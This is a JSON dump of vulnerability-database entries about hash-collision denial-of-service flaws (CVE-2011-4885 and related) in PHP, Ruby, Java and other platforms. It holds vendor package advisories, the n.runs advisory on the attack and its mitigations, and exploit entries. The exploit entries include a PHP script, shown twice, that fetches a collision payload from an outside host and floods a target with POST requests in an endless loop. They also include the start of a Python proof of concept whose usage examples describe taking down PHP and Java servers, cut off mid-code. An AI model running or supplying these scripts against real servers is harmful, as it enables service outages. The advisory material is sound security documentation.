ruby-devel-1.8.7.357-1.10.amzn1.x86_64 \n ruby-ri-1.8.7.357-1.10.amzn1.x86_64 \n ruby-libs-1.8.7.357-1.10.amzn1.x86_64 \n ruby-1.8.7.357-1.10.amzn1.x86_64 \n ruby-static-1.8.7.357-1.10.amzn1.x86_64 \n ruby-debuginfo-1.8.7.357-1.10.amzn1.x86_64 \n \n \n", "edition": 4, "modified": "2012-01-19T20:02:00", "published": "2012-01-19T20:02:00", "id": "ALAS-2012-035", "href": "https://alas.aws.amazon.com/ALAS-2012-35.html", "title": "Important: ruby", "type": "amazon", "cvss": {"score": 7.8, "vector": "AV:N/AC:L/Au:N/C:N/I:N/A:C"}}, {"lastseen": "2020-11-10T12:36:20", "bulletinFamily": "unix", "cvelist": ["CVE-2011-4885", "CVE-2011-4566"], "description": "**Issue Overview:**\n\nIt was found that the hashing routine used by PHP arrays was susceptible to predictable hash collisions. If an HTTP POST request to a PHP application contained many parameters whose names map to the same hash value, a large amount of CPU time would be consumed. This flaw has been mitigated by adding a new configuration directive, max_input_vars, that limits the maximum number of parameters processed per request. By default, max_input_vars is set to 1000. ([CVE-2011-4885 __](<https://access.redhat.com/security/cve/CVE-2011-4885>))\n\nAn integer overflow flaw was found in the PHP exif extension. On 32-bit systems, a specially-crafted image file could cause the PHP interpreter to crash or disclose portions of its memory when a PHP script tries to extract Exchangeable image file format (Exif) metadata from the image file. ([CVE-2011-4566 __](<https://access.redhat.com/security/cve/CVE-2011-4566>))\n\n \n**Affected Packages:** \n\n\nphp\n\n \n**Issue Correction:** \nRun _yum update php_ to update your system.\n\n \n\n\n**New Packages:**\n \n \n i686: \n php-dba-5.3.9-1.9.amzn1.i686 \n php-odbc-5.3.9-1.9.amzn1.i686 \n php-embedded-5.3.9-1.9.amzn1.i686 \n php-mbstring-5.3.9-1.9.amzn1.i686 \n php-pgsql-5.3.9-1.9.amzn1.i686 \n php-common-5.3.9-1.9.amzn1.i686 \n php-debuginfo-5.3.9-1.9.amzn1.i686 \n php-ldap-5.3.9-1.9.amzn1.i686 \n php-cli-5.3.9-1.9.amzn1.i686 \n php-fpm-5.3.9-1.9.amzn1.i686 \n php-5.3.9-1.9.amzn1.i686 \n php-imap-5.3.9-1.9.amzn1.i686 \n php-bcmath-5.3.9-1.9.amzn1.i686 \n php-soap-5.3.9-1.9.amzn1.i686 \n php-devel-5.3.9-1.9.amzn1.i686 \n php-xml-5.3.9-1.9.amzn1.i686 \n php-pdo-5.3.9-1.9.amzn1.i686 \n php-mcrypt-5.3.9-1.9.amzn1.i686 \n php-mysqlnd-5.3.9-1.9.amzn1.i686 \n php-snmp-5.3.9-1.9.amzn1.i686 \n php-mysql-5.3.9-1.9.amzn1.i686 \n php-process-5.3.9-1.9.amzn1.i686 \n php-tidy-5.3.9-1.9.amzn1.i686 \n php-intl-5.3.9-1.9.amzn1.i686 \n php-gd-5.3.9-1.9.amzn1.i686 \n php-pspell-5.3.9-1.9.amzn1.i686 \n php-mssql-5.3.9-1.9.amzn1.i686 \n php-xmlrpc-5.3.9-1.9.amzn1.i686 \n \n src: \n php-5.3.9-1.9.amzn1.src \n \n x86_64: \n php-embedded-5.3.9-1.9.amzn1.x86_64 \n php-xml-5.3.9-1.9.amzn1.x86_64 \n php-intl-5.3.9-1.9.amzn1.x86_64 \n php-soap-5.3.9-1.9.amzn1.x86_64 \n php-ldap-5.3.9-1.9.amzn1.x86_64 \n php-mcrypt-5.3.9-1.9.amzn1.x86_64 \n php-debuginfo-5.3.9-1.9.amzn1.x86_64 \n php-pgsql-5.3.9-1.9.amzn1.x86_64 \n php-mysqlnd-5.3.9-1.9.amzn1.x86_64 \n php-odbc-5.3.9-1.9.amzn1.x86_64 \n php-mbstring-5.3.9-1.9.amzn1.x86_64 \n php-pspell-5.3.9-1.9.amzn1.x86_64 \n php-pdo-5.3.9-1.9.amzn1.x86_64 \n php-tidy-5.3.9-1.9.amzn1.x86_64 \n php-dba-5.3.9-1.9.amzn1.x86_64 \n php-gd-5.3.9-1.9.amzn1.x86_64 \n php-fpm-5.3.9-1.9.amzn1.x86_64 \n php-cli-5.3.9-1.9.amzn1.x86_64 \n php-devel-5.3.9-1.9.amzn1.x86_64 \n php-mysql-5.3.9-1.9.amzn1.x86_64 \n php-mssql-5.3.9-1.9.amzn1.x86_64 \n php-xmlrpc-5.3.9-1.9.amzn1.x86_64 \n php-process-5.3.9-1.9.amzn1.x86_64 \n php-bcmath-5.3.9-1.9.amzn1.x86_64 \n php-snmp-5.3.9-1.9.amzn1.x86_64 \n php-common-5.3.9-1.9.amzn1.x86_64 \n php-5.3.9-1.9.amzn1.x86_64 \n php-imap-5.3.9-1.9.amzn1.x86_64 \n \n \n", "edition": 4, "modified": "2012-01-19T20:10:00", "published": "2012-01-19T20:10:00", "id": "ALAS-2012-037", "href": "https://alas.aws.amazon.com/ALAS-2012-37.html", "title": "Medium: php", "type": "amazon", "cvss": {"score": 6.4, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:P"}}], "fedora": [{"lastseen": "2020-12-21T08:17:50", "bulletinFamily": "unix", "cvelist": ["CVE-2011-4815"], "description": "Ruby is the interpreted scripting language for quick and easy object-oriented programming. It has many features to process text files and to do system management tasks (as in Perl). It is simple, straight-forward, and extensible. ", "modified": "2012-01-11T06:06:56", "published": "2012-01-11T06:06:56", "id": "FEDORA:6D8EE20EB6", "href": "", "type": "fedora", "title": "[SECURITY] Fedora 16 Update: ruby-1.8.7.357-1.fc16", "cvss": {"score": 7.8, "vector": "AV:N/AC:L/Au:N/C:N/I:N/A:C"}}, {"lastseen": "2020-12-21T08:17:50", "bulletinFamily": "unix", "cvelist": ["CVE-2011-4461"], "description": "Jetty is a 100% Java HTTP Server and Servlet Container. This means that you do not need to configure and run a separate web server (like Apache) in order to use java, servlets and JSPs to generate dynamic content. Jetty is a fully featured web server for static and dynamic content. Unlike separate server/container solutions, this means that your web server and web application run in the same process, without interconnection overheads and complications. Furthermore, as a pure java component, Jetty can be simply included in your application for demonstration, distribution or deployment. Jetty is available on all Java supported platforms. ", "modified": "2012-03-24T00:34:42", "published": "2012-03-24T00:34:42", "id": "FEDORA:6555420CE1", "href": "", "type": "fedora", "title": "[SECURITY] Fedora 15 Update: jetty-6.1.26-7.fc15", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:N/I:N/A:P"}}, {"lastseen": "2020-12-21T08:17:50", "bulletinFamily": "unix", "cvelist": ["CVE-2011-4461"], "description": "Jetty is a 100% Java HTTP Server and Servlet Container. This means that you do not need to configure and run a separate web server (like Apache) in order to use java, servlets and JSPs to generate dynamic content. Jetty is a fully featured web server for static and dynamic content. Unlike separate server/container solutions, this means that your web server and web application run in the same process, without interconnection overheads and complications. Furthermore, as a pure java component, Jetty can be simply included in your application for demonstration, distribution or deployment. Jetty is available on all Java supported platforms. ", "modified": "2012-03-24T00:28:51", "published": "2012-03-24T00:28:51", "id": "FEDORA:8FB3320923", "href": "", "type": "fedora", "title": "[SECURITY] Fedora 16 Update: jetty-6.1.26-8.fc16", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:N/I:N/A:P"}}, {"lastseen": "2020-12-21T08:17:50", "bulletinFamily": "unix", "cvelist": ["CVE-2011-2686", "CVE-2011-4815"], "description": "Ruby is the interpreted scripting language for quick and easy object-oriented programming. It has many features to process text files and to do system management tasks (as in Perl). It is simple, straight-forward, and extensible. ", "modified": "2012-01-11T06:14:53", "published": "2012-01-11T06:14:53", "id": "FEDORA:BFF2C21133", "href": "", "type": "fedora", "title": "[SECURITY] Fedora 15 Update: ruby-1.8.7.357-1.fc15", "cvss": {"score": 7.8, "vector": "AV:N/AC:L/Au:N/C:N/I:N/A:C"}}, {"lastseen": "2020-12-21T08:17:50", "bulletinFamily": "unix", "cvelist": ["CVE-2011-4885", "CVE-2012-0830"], "description": "PHP is an HTML-embedded scripting language. PHP attempts to make it easy for developers to write dynamically generated web pages. PHP also offers built-in database integration for several commercial and non-commercial database management systems, so writing a database-enabled webpage with PHP is fairly simple. The most common use of PHP coding is probably as a replacement for CGI scripts. The php package contains the module which adds support for the PHP language to Apache HTTP Server. ", "modified": "2012-02-14T09:05:18", "published": "2012-02-14T09:05:18", "id": "FEDORA:76D5120DE0", "href": "", "type": "fedora", "title": "[SECURITY] Fedora 15 Update: php-5.3.10-1.fc15", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2020-12-21T08:17:50", "bulletinFamily": "unix", "cvelist": ["CVE-2011-4885", "CVE-2012-0830"], "description": "eAccelerator is a further development of the MMCache PHP Accelerator & Enco der. It increases performance of PHP scripts by caching them in compiled state, so that the overhead of compiling is almost completely eliminated. ", "modified": "2012-02-14T09:05:18", "published": "2012-02-14T09:05:18", "id": "FEDORA:6097820D6A", "href": "", "type": "fedora", "title": "[SECURITY] Fedora 15 Update: php-eaccelerator-0.9.6.1-9.fc15.2", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2020-12-21T08:17:50", "bulletinFamily": "unix", "cvelist": ["CVE-2011-4885", "CVE-2012-0830"], "description": "ManiaDrive is an arcade car game on acrobatic tracks, with a quick and nerv ous gameplay (tracks almost never exceed one minute). Features: Complex car physics, Challenging \"story mode\", LAN and Internet mode, Live scores, Track editor, Dedicated server with HTTP interface and More than 30 blocks. ", "modified": "2012-02-08T22:56:30", "published": "2012-02-08T22:56:30", "id": "FEDORA:3EA60213F3", "href": "", "type": "fedora", "title": "[SECURITY] Fedora 16 Update: maniadrive-1.2-32.fc16.2", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "securityvulns": [{"lastseen": "2018-08-31T11:10:43", "bulletinFamily": "software", "cvelist": ["CVE-2011-4815"], "description": "\r\n\r\nn.runs AG\r\nhttp://www.nruns.com/ security&#40;at&#41;nruns.com\r\nn.runs-SA-2011.004 28-Dec-2011\r\n________________________________________________________________________\r\nVendors: PHP, http://www.php.net\r\n Oracle, http://www.oracle.com\r\n Microsoft, http://www.microsoft.com\r\n Python, http://www.python.org\r\n Ruby, http://www.ruby.org\r\n Google, http://www.google.com\r\nAffected Products: PHP 4 and 5\r\n Java\r\n Apache Tomcat\r\n Apache Geronimo\r\n Jetty\r\n Oracle Glassfish\r\n ASP.NET\r\n Python\r\n Plone\r\n CRuby 1.8, JRuby, Rubinius \r\n v8\r\nVulnerability: Denial of Service through hash table\r\n multi-collisions\r\nTracking IDs: oCERT-2011-003\r\n CERT VU#903934\r\n________________________________________________________________________\r\nVendor communication:\r\n2011/11/01 Coordinated notification to PHP, Oracle, Python, Ruby, Google\r\n via oCERT\r\n2011/11/29 Coordinated notification to Microsoft via CERT\r\n\r\nVarious communication with the vendors for clarifications, distribution\r\nof PoC code, discussion of fixes, etc.\r\n___________________________________________________________________________\r\nOverview:\r\n\r\nHash tables are a commonly used data structure in most programming\r\nlanguages. Web application servers or platforms commonly parse\r\nattacker-controlled POST form data into hash tables automatically, so\r\nthat they can be accessed by application developers.\r\n\r\nIf the language does not provide a randomized hash function or the\r\napplication server does not recognize attacks using multi-collisions, an\r\nattacker can degenerate the hash table by sending lots of colliding\r\nkeys. The algorithmic complexity of inserting n elements into the table\r\nthen goes to O&#40;n**2&#41;, making it possible to exhaust hours of CPU time\r\nusing a single HTTP request.\r\n\r\nThis issue has been known since at least 2003 and has influenced Perl\r\nand CRuby 1.9 to change their hash functions to include randomization.\r\n\r\nWe show that PHP 5, Java, ASP.NET as well as v8 are fully vulnerable to\r\nthis issue and PHP 4, Python and Ruby are partially vulnerable,\r\ndepending on version or whether the server running the code is a 32 bit\r\nor 64 bit machine.\r\n\r\nDescription:\r\n\r\n= Theory =\r\n\r\nMost hash functions used in hash table implementations can be broken\r\nfaster than by using brute-force techniques &#40;which is feasible for hash\r\nfunctions with 32 bit output, but very expensive for 64 bit functions&#41;\r\nby using one of two \u201ctricks\u201d: equivalent substrings or a\r\nmeet-in-the-middle attack.\r\n\r\n== Equivalent substrings ==\r\n\r\nSome hash functions have the property that if two strings collide, e.g.\r\nhash&#40;&#39;string1&#39;&#41; = hash&#40;&#39;string2&#39;&#41;, then hashes having this substring at\r\nthe same position collide as well, e.g. hash&#40;&#39;prefixstring1postfix&#39;&#41; =\r\nhash&#40;&#39;prefixstring2postfix&#39;&#41;. If for example &#39;Ez&#39; and &#39;FY&#39; collide under\r\na hash function with this property, then &#39;EzEz&#39;, &#39;EzFY&#39;, &#39;FYEz&#39;, &#39;FYFY&#39;\r\ncollide as well. An observing reader may notice that this is very\r\nsimilar to binary counting from zero to four. Using this knowledge, an\r\nattacker can construct arbitrary numbers of collisions &#40;2^n for\r\n2*n-sized strings in this example&#41;.\r\n\r\n== Meet-in-the-middle attack ==\r\n\r\nIf equivalent substrings are not present in a given hash function, then\r\nbrute-force seems to be the only solution. The obvious way to best use\r\nbrute-force would be to choose a target value and hash random\r\n&#40;fixed-size&#41; strings and store those which hash to the target value. For\r\na non-biased hash function with 32 bit output length, the probability of\r\nhitting a target in this way is 1/&#40;2^32&#41;.\r\n\r\nA meet-in-the-middle attack now tries to hit more than one target at a\r\ntime. If the hash function can be inverted and the internal state of the\r\nhash function has the same size as the output, one can split the string\r\ninto two parts, a prefix &#40;of size n&#41; and a postfix &#40;of size m&#41;. One can\r\nnow iterate over all possible m-sized postfix strings and calculate the\r\nintermediate value under which the hash function maps to a certain\r\ntarget. If one stores these strings and corresponding intermediate value\r\nin a lookup table, one can now generate random n-sized prefix strings\r\nand see if they map to one of the intermediate values in the lookup\r\ntable. If this is the case, the complete string will map to the target\r\nvalue.\r\n\r\nSplitting in the middle reduces the complexity of this attack by the\r\nsquare root, which gives us the probability of 1/&#40;2^16&#41; for a collision,\r\nthus enabling an attacker to generate multi-collisions much faster.\r\n\r\nThe hash functions we looked at which were vulnerable to an equivalent\r\nsubstring attack were all vulnerable to a meet-in-the-middle attack as\r\nwell. In this case, the meet-in-the-middle attack provides more\r\ncollisions for strings of a fixed size than the equivalent substring\r\nattack.\r\n\r\n= The real world =\r\n\r\nThe different language use different hash functions which suffer from\r\ndifferent problems. They also differ in how they use hash tables in\r\nstoring POST form data.\r\n\r\n== PHP 5 ==\r\n\r\nPHP 5 uses the DJBX33A &#40;Dan Bernstein&#39;s times 33, addition&#41; hash\r\nfunction and parses POST form data into the $_POST hash table. Because\r\nof the structure of the hash function, it is vulnerable to an equivalent\r\nsubstring attack.\r\n\r\nThe maximal POST request size is typically limited to 8 MB, which when\r\nfilled with a set of multi-collisions would consume about four hours of\r\nCPU time on an i7 core. Luckily, this time can not be exhausted because\r\nit is limited by the max_input_time &#40;default configuration: -1,\r\nunlimited&#41;, Ubuntu and several BSDs: 60 seconds&#41; configuration\r\nparameter. If the max_input_time parameter is set to -1 &#40;theoretically:\r\nunlimited&#41;, it is bound by the max_execution_time configuration\r\nparameter &#40;default value: 30&#41;.\r\n\r\nOn an i7 core, the 60 seconds take a string of multi-collisions of about\r\n500k. 30 seconds of CPU time can be generated using a string of about\r\n300k. This means that an attacker needs about 70-100kbit/s to keep one\r\ni7 core constantly busy. An attacker with a Gigabit connection can keep\r\nabout 10.000 i7 cores busy.\r\n\r\n== ASP.NET ==\r\n\r\nASP.NET uses the Request.Form object to provide POST data to a web\r\napplication developer. This object is of class NameValueCollection. This\r\nuses a different hash function than the standard .NET one, namely\r\nCaseInsensitiveHashProvider.getHashCode&#40;&#41;. This is the DJBX33X &#40;Dan\r\nBernstein&#39;s times 33, XOR&#41; hash function on the uppercase version of the\r\nkey, which is breakable using a meet-in-the-middle attack.\r\n\r\nCPU time is limited by the IIS webserver to a value of typically 90\r\nseconds. This allows an attacker with about 30kbit/s to keep one Core2\r\ncore constantly busy. An attacker with a Gigabit connection can keep\r\nabout 30.000 Core2 cores busy.\r\n\r\n== Java ==\r\n\r\nJava offers the HashMap and Hashtable classes, which use the\r\nString.hashCode&#40;&#41; hash function. It is very similar to DJBX33A &#40;instead\r\nof 33, it uses the multiplication constant 31 and instead of the start\r\nvalue 5381 it uses 0&#41;. Thus it is also vulnerable to an equivalent\r\nsubstring attack. When hashing a string, Java also caches the hash value\r\nin the hash attribute, but only if the result is different from zero.\r\nThus, the target value zero is particularly interesting for an attacker\r\nas it prevents caching and forces re-hashing.\r\n\r\nDifferent web application parse the POST data differently, but the ones\r\ntested &#40;Tomcat, Geronima, Jetty, Glassfish&#41; all put the POST form data\r\ninto either a Hashtable or HashMap object. The maximal POST sizes also\r\ndiffer from server to server, with 2 MB being the most common.\r\n\r\nA Tomcat 6.0.32 server parses a 2 MB string of colliding keys in about\r\n44 minutes of i7 CPU time, so an attacker with about 6 kbit/s can keep\r\none i7 core constantly busy. If the attacker has a Gigabit connection,\r\nhe can keep about 100.000 i7 cores busy.\r\n\r\n== Python ==\r\n\r\nPython uses a hash function which is very similar to DJBX33X, which can\r\nbe broken using a meet-in-the-middle attack. It operates on register\r\nsize and is thus different for 64 and 32 bit machines. While generating\r\nmulti-collisions efficiently is also possible for the 64 bit version of\r\nthe function, the resulting colliding strings are too large to be\r\nrelevant for anything more than an academic attack.\r\n\r\nPlone as the most prominent Python web framework accepts 1 MB of POST\r\ndata, which it parses in about 7 minutes of CPU time in the worst case.\r\nThis gives an attacker with about 20 kbit/s the possibility to keep one\r\nCore Duo core constantly busy. If the attacker is in the position to\r\nhave a Gigabit line available, he can keep about 50.000 Core Duo cores\r\nbusy.\r\n\r\n== Ruby ==\r\n\r\nThe Ruby language consists of several implementations which do not share\r\nthe same hash functions. It also differs in versions &#40;1.8, 1.9&#41;, which ?\r\ndepending on the implementation ? also do not necessarily share the same\r\nhash function.\r\n\r\nThe hash function of CRuby 1.9 has been using randomization since 2008\r\n&#40;a result of the algorithmic complexity attacks disclosed in 2003&#41;. The\r\nCRuby 1.8 function is very similar to DJBX33A, but the large\r\nmultiplication constant of 65599 prevents an effective equivalent\r\nsubstring attack. The hash function can be easily broken using a meet-\r\nin-the-middle attack, though. JRuby uses the CRuby 1.8 hash function for\r\nboth 1.8 and 1.9. Rubinius uses a different hash function but also does\r\nnot randomize it.\r\n\r\nA typical POST size limit in Ruby frameworks is 2 MB, which takes about\r\n6 hours of i7 CPU time to parse. Thus, an attacker with a single 850\r\nbits/s line can keep one i7 core busy. The other way around, an attacker\r\nwith a Gigabit connection can keep about 1.000.000 &#40;one million!&#41; i7\r\ncores busy.\r\n\r\n== v8 ==\r\n\r\nGoogle&#39;s Javascript implementation v8 uses a hash function which looks\r\ndifferent from the ones seen before, but can be broken using a meet-in-\r\nthe-middle attack, too.\r\n\r\nNode.js uses v8 to run Javascript-based web applications. The\r\nquerystring module parses POST data into a hash table structure.\r\n\r\nAs node.js does not limit the POST size by default &#40;we assume this would\r\ntypically be the job of a framework&#41;, no effectiveness/efficiency\r\nmeasurements were performed.\r\n\r\nImpact:\r\n\r\nAny website running one of the above technologies which provides the\r\noption to perform a POST request is vulnerable to very effective DoS\r\nattacks.\r\n\r\nAs the attack is just a POST request, it could also be triggered from\r\nwithin a &#40;third-party&#41; website. This means that a cross-site-scripting\r\nvulnerability on a popular website could lead to a very effective DDoS\r\nattack &#40;not necessarily against the same website&#41;.\r\n\r\nFixes:\r\n\r\nThe Ruby Security Team was very helpful in addressing this issue and\r\nboth CRuby and JRuby provide updates for this issue with a randomized\r\nhash function &#40;CRuby 1.8.7-p357, JRuby 1.6.5.1, CVE-2011-4815&#41;.\r\n\r\nOracle has decided there is nothing that needs to be fixed within Java\r\nitself, but will release an updated version of Glassfish in a future CPU\r\n&#40;Oracle Security ticket S0104869&#41;.\r\n\r\nTomcat has released updates &#40;7.0.23, 6.0.35&#41; for this issue which limit\r\nthe number of request parameters using a configuration parameter. The\r\ndefault value of 10.000 should provide sufficient protection.\r\n\r\nWorkarounds:\r\n\r\nFor languages were no fixes have been issued &#40;yet?&#41;, there are a number\r\nof workarounds.\r\n\r\n= Limiting CPU time =\r\n\r\nThe easiest way to reduce the impact of such an attack is to reduce the\r\nCPU time that a request is allowed to take. For PHP, this can be\r\nconfigured using the max_input_time parameter. On IIS &#40;for ASP.NET&#41;,\r\nthis can be configured using the \u201cshutdown time limit for processes\u201d\r\nparameter.\r\n\r\n= Limiting maximal POST size =\r\n\r\nIf you can live with the fact that users can not put megabytes of data\r\ninto your forms, limiting the form size to a small value &#40;in the 10s of\r\nkilobytes rather than the usual megabytes&#41; can drastically reduce the\r\nimpact of the attack as well.\r\n\r\n= Limiting maximal number of parameters =\r\n\r\nThe updated Tomcat versions offer an option to reduce the amount of\r\nparameters accepted independent from the maximal POST size. Configuring\r\nthis is also possible using the Suhosin version of PHP using the\r\nsuhosin.{post|request}.max_vars parameters.\r\n\r\n________________________________________________________________________\r\nCredits:\r\nAlexander Klink, n.runs AG\r\nJulian Walde, Technische Universitat Darmstadt\r\n\r\nThe original theory behind this attack vector is described in the 2003\r\nUsenix Security paper \u201cDenial of Service via Algorithmic Complexity\r\nAttacks\u201d by Scott A. Crosby and Dan S. Wallach, Rice University\r\n________________________________________________________________________\r\nReferences:\r\nThis advisory and upcoming advisories:\r\nhttp://www.nruns.com/security_advisory.php\r\n________________________________________________________________________\r\nAbout n.runs:\r\nn.runs AG is a vendor-independent consulting company specialising in the\r\nareas of: IT Infrastructure, IT Security and IT Business Consulting.\r\n\r\nCopyright Notice:\r\nUnaltered electronic reproduction of this advisory is permitted. For all\r\nother reproduction or publication, in printing or otherwise, contact\r\nsecurity@nruns.com for permission. Use of the advisory constitutes\r\nacceptance for use in an \u201cas is\u201d condition. All warranties are excluded.\r\nIn no event shall n.runs be liable for any damages whatsoever including\r\ndirect, indirect, incidental, consequential, loss of business profits or\r\nspecial damages, even if n.runs has been advised of the possibility of\r\nsuch damages.\r\nCopyright 2011 n.runs AG. All rights reserved. Terms of use apply.\r\n\r\n\r\n\r\n", "edition": 1, "modified": "2012-01-02T00:00:00", "published": "2012-01-02T00:00:00", "id": "SECURITYVULNS:DOC:27501", "href": "https://vulners.com/securityvulns/SECURITYVULNS:DOC:27501", "title": "n.runs-SA-2011.004 - web programming languages and platforms - DoS through hash table", "type": "securityvulns", "cvss": {"score": 7.8, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:NONE/I:NONE/A:COMPLETE/"}}], "ubuntu": [{"lastseen": "2020-07-09T00:33:04", "bulletinFamily": "unix", "cvelist": ["CVE-2011-4461"], "description": "It was discovered that Jetty computed hash values for form parameters \nwithout restricting the ability to trigger hash collisions predictably. \nThis could allow a remote attacker to cause a denial of service by \nsending many crafted parameters.", "edition": 5, "modified": "2012-04-26T00:00:00", "published": "2012-04-26T00:00:00", "id": "USN-1429-1", "href": "https://ubuntu.com/security/notices/USN-1429-1", "title": "Jetty vulnerability", "type": "ubuntu", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:N/I:N/A:P"}}], "exploitpack": [{"lastseen": "2020-04-01T19:04:40", "description": "\nPHP 5.3.8 - Hashtables Denial of Service", "edition": 1, "published": "2012-01-01T00:00:00", "title": "PHP 5.3.8 - Hashtables Denial of Service", "type": "exploitpack", "bulletinFamily": "exploit", "cvelist": ["CVE-2011-4885"], "modified": "2012-01-01T00:00:00", "id": "EXPLOITPACK:B8DA2EAADC9FCF2EF821731BB51E75E7", "href": "", "sourceData": " \n\n# Exploit Title: CVE-2011-4885 PHP Hashtables Denial of Service\nExploit\n # Date: 1/1/12\n # Author: infodox\n # Software Link: php.net\n #\nVersion: 5.3.*\n # Tested on: Linux\n # CVE : CVE-2011-4885 \n\nExploit\nDownload -- http://infodox.co.cc/Downloads/phpdos.txt \n\n<?php\n/*\nPHP 5.3.* Hash Colission DoS Exploit by infodox\nOriginal version by itz me (opensc.ws)\nCVE-2011-4885\n\nMirrors List:\nhttps://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/18296.txt (hashcollide.txt)\nhttp://compsoc.nuigalway.ie/~infodox/hashcollide.txt\nhttp://jrs-s.net/hashcollide.txt\nhttp://www.infodox.co.cc/Downloads/hashcollide.txt\n\nChanges:\nDifferent mirror for hashcollide.txt\nNow takes target as a command line argument\nStatus message printing\n\nTwitter: @info_dox\nBlog: blog.infodox.co.cc\nSite: http://www.infodox.co.cc/\n*/\n$targ = $argv[1];\n$x = file_get_contents(\"http://jrs-s.net/hashcollide.txt\"); // if this doesnt work replace with the mirrors_lst ones...\nwhile(1) {\n echo \"firing\";\n $ch = curl_init(\"$targ\");\n curl_setopt($ch, CURLOPT_POSTFIELDS, $x);\n curl_exec($ch);\n curl_close($ch);\n echo \"[+] Voly Sent!\";\n}\n?>", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:N/I:N/A:P"}}], "exploitdb": [{"lastseen": "2016-02-02T09:30:12", "description": "PHP Hashtables Denial of Service. CVE-2011-4885. Dos exploit for php platform", "published": "2012-01-01T00:00:00", "type": "exploitdb", "title": "PHP Hashtables Denial of Service", "bulletinFamily": "exploit", "cvelist": ["CVE-2011-4885"], "modified": "2012-01-01T00:00:00", "id": "EDB-ID:18296", "href": "https://www.exploit-db.com/exploits/18296/", "sourceData": " \r\n\r\n# Exploit Title: CVE-2011-4885 PHP Hashtables Denial of Service\r\nExploit\r\n # Date: 1/1/12\r\n # Author: infodox\r\n # Software Link: php.net\r\n #\r\nVersion: 5.3.*\r\n # Tested on: Linux\r\n # CVE : CVE-2011-4885 \r\n\r\nExploit\r\nDownload -- http://infodox.co.cc/Downloads/phpdos.txt \r\n\r\n<?php\r\n/*\r\nPHP 5.3.* Hash Colission DoS Exploit by infodox\r\nOriginal version by itz me (opensc.ws)\r\nCVE-2011-4885\r\n\r\nMirrors List:\r\nhttps://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/18296.txt (hashcollide.txt)\r\nhttp://compsoc.nuigalway.ie/~infodox/hashcollide.txt\r\nhttp://jrs-s.net/hashcollide.txt\r\nhttp://www.infodox.co.cc/Downloads/hashcollide.txt\r\n\r\nChanges:\r\nDifferent mirror for hashcollide.txt\r\nNow takes target as a command line argument\r\nStatus message printing\r\n\r\nTwitter: @info_dox\r\nBlog: blog.infodox.co.cc\r\nSite: http://www.infodox.co.cc/\r\n*/\r\n$targ = $argv[1];\r\n$x = file_get_contents(\"http://jrs-s.net/hashcollide.txt\"); // if this doesnt work replace with the mirrors_lst ones...\r\nwhile(1) {\r\n echo \"firing\";\r\n $ch = curl_init(\"$targ\");\r\n curl_setopt($ch, CURLOPT_POSTFIELDS, $x);\r\n curl_exec($ch);\r\n curl_close($ch);\r\n echo \"[+] Voly Sent!\";\r\n}\r\n?>", "cvss": {"score": 5.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:NONE/I:NONE/A:PARTIAL/"}, "sourceHref": "https://www.exploit-db.com/download/18296/"}, {"lastseen": "2016-02-02T09:30:45", "description": "PHP Hash Table Collision Proof Of Concept. CVE-2011-4885. Dos exploit for php platform", "published": "2012-01-03T00:00:00", "type": "exploitdb", "title": "PHP Hash Table Collision Proof Of Concept", "bulletinFamily": "exploit", "cvelist": ["CVE-2011-4885"], "modified": "2012-01-03T00:00:00", "id": "EDB-ID:18305", "href": "https://www.exploit-db.com/exploits/18305/", "sourceData": "#! /usr/bin/env python\r\n\r\n\"\"\"\r\nThis script was written by Christian Mehlmauer <FireFart@gmail.com>\r\nhttps://twitter.com/#!/_FireFart_\r\n\r\nSourcecode online at:\r\nhttps://github.com/FireFart/HashCollision-DOS-POC\r\n\r\nOriginal PHP Payloadgenerator taken from https://github.com/koto/blog-kotowicz-net-examples/tree/master/hashcollision\r\n\r\nhttp://www.ocert.org/advisories/ocert-2011-003.html\r\nCVE:\r\nApache Geronimo: CVE-2011-5034\r\nOracle Glassfish: CVE-2011-5035\r\nPHP: CVE-2011-4885\r\nApache Tomcat: CVE-2011-4858\r\n\r\nrequires Python 2.7\r\n\r\nExamples:\r\n-) Make a single Request, wait for the response and save the response to output0.html\r\npython HashtablePOC.py -u https://host/index.php -v -c 1 -w -o output -t PHP\r\n\r\n-) Take down a PHP server(make 500 requests without waiting for a response):\r\npython HashtablePOC.py -u https://host/index.php -v -c 500 -t PHP\r\n\r\n-) Take down a JAVA server(make 500 requests without waiting for a response, maximum POST data size 2MB):\r\npython HashtablePOC.py -u https://host/index.jsp -v -c 500 -t JAVA -m 2\r\n\r\nChangelog:\r\nv6.0: Added Javapayloadgenerator\r\nv5.0: Define max payload size as parameter\r\nv4.0: Get PHP Collision Chars on the fly\r\nv3.0: Load Payload from file\r\nv2.0: Added Support for https, switched to HTTP 1.1\r\nv1.0: Initial Release\r\n\"\"\"\r\n\r\nimport socket\r\nimport sys\r\nimport math\r\nimport urllib\r\nimport string\r\nimport time\r\nimport urlparse\r\nimport argparse\r\nimport ssl\r\nimport random\r\nimport itertools\r\n\r\nclass Payloadgenerator:\r\n # Maximum recursions when searching for collisionchars\r\n _recursivemax = 15\r\n _recursivecounter = 1\r\n \r\n def __init__(self, verbose, collisionchars = 5, collisioncharlength = 2, payloadlength = 8):\r\n self._verbose = verbose\r\n self._collisionchars = collisionchars\r\n self._collisioncharlength = collisioncharlength\r\n self._payloadlength = payloadlength\r\n \r\n def generateASPPayload(self):\r\n raise Exception(\"ASP Payload not implemented\")\r\n \r\n def generateJAVAPayload(self):\r\n a = self._computeJAVACollisionChars(self._collisionchars)\r\n return self._generatePayload(a, self._payloadlength)\r\n \r\n def generatePHPPayload(self):\r\n # Note: Default max POST Data Length in PHP is 8388608 bytes (8MB)\r\n # compute entries with collisions in PHP hashtable hash function\r\n a = self._computePHPCollisionChars(self._collisionchars)\r\n return self._generatePayload(a, self._payloadlength);\r\n \r\n def 